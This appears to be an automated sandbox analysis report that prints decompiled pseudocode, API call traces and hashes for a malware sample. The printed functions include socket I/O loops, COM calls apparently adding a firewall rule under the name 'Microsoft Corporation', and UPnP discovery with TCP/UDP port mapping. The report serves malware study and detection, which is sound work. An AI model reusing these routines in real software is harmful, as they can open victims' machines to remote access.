Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,?,0040EC84), ref: 0040E770
Sleep.KERNEL32(00000001,?,?,0040EC84), ref: 0040E786
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 00405BA8
SysAllocString.OLEAUT32(004169D8), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

TCP, xrefs: 0040D09B
UDP, xrefs: 0040D0B8

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 1925824589.exePID: 1708, Parent PID: 1384COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00EA1490 Relevance: 52.7, APIs: 6, Strings: 24, Instructions: 156
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00EA1490(FILETIME* _a4, CHAR* _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				struct _SYSTEMTIME _v108;
				struct _TIME_ZONE_INFORMATION _v284;
				struct _FILETIME _v292;
				signed int _v296;
				char _v300;
				char _v304;
				long _t105;
				signed int _t145;
				void* _t164;
				signed int _t170;

				_v84 = 0xea41d4;
				_v80 = 0xea41d8;
				_v76 = 0xea41dc;
				_v72 = 0xea41e0;
				_v68 = 0xea41e4;
				_v64 = 0xea41e8;
				_v60 = 0xea41ec;
				_v56 = 0xea41f0;
				_v52 = 0xea41f4;
				_v48 = 0xea41f8;
				_v44 = 0xea41fc;
				_v40 = 0xea4200;
				_v36 = 0xea4204;
				_v32 = 0xea4208;
				_v28 = 0xea420c;
				_v24 = 0xea4210;
				_v20 = 0xea4214;
				_v16 = 0xea4218;
				_v12 = 0xea421c;
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v292);
					FileTimeToSystemTime( &_v292,  &_v108);
				} else {
					GetLocalTime( &_v108);
				}
				_v284.Bias = 0;
				_t105 = GetTimeZoneInformation( &_v284); // executed
				_v8 = _t105;
				_v92 = _v284.Bias;
				if(_v8 == 2) {
					_t145 = _v92 + _v284.DaylightBias;
					_t170 = _t145;
					_v92 = _t145;
				}
				_v92 =  ~_v92;
				if(_t170 < 0) {
					_v296 =  ~_v92;
				} else {
					_v296 = _v92;
				}
				_v88 = _v296;
				if((_v108.wDayOfWeek & 0x0000ffff) > 6) {
					_v108.wDayOfWeek = 6;
				}
				if((_v108.wMonth & 0x0000ffff) == 0) {
					_v108.wMonth = 1;
				}
				if((_v108.wMonth & 0x0000ffff) > 0xc) {
					_v108.wMonth = 0xc;
				}
				if(_a12 == 0) {
					if(_v92 < 0) {
						_v304 = "-";
					} else {
						_v304 = "+";
					}
					asm("cdq");
					asm("cdq");
					_t87 =  &_v304; // 0xea4250
					_t94 = (_v108.wMonth & 0x0000ffff) * 4; // 0xea41ec
					return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t164 + (_v108.wDayOfWeek & 0x0000ffff) * 4 - 0x50)), _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + _t94 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff,  *_t87, _v88 / 0x3c, _v88 % 0x3c);
				} else {
					if(_v92 < 0) {
						_v300 = 0xea4224;
					} else {
						_v300 = 0xea4220;
					}
					asm("cdq");
					asm("cdq");
					_t63 =  &_v300; // 0xea4224
					_t70 = (_v108.wMonth & 0x0000ffff) * 4; // 0xea41ec
					return wsprintfA(_a8, "%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u", _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + _t70 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff,  *_t63, _v88 / 0x3c, _v88 % 0x3c);
				}
			}

0x00ea1499
0x00ea14a0
0x00ea14a7
0x00ea14ae
0x00ea14b5
0x00ea14bc
0x00ea14c3
0x00ea14ca
0x00ea14d1
0x00ea14d8
0x00ea14df
0x00ea14e6
0x00ea14ed
0x00ea14f4
0x00ea14fb
0x00ea1502
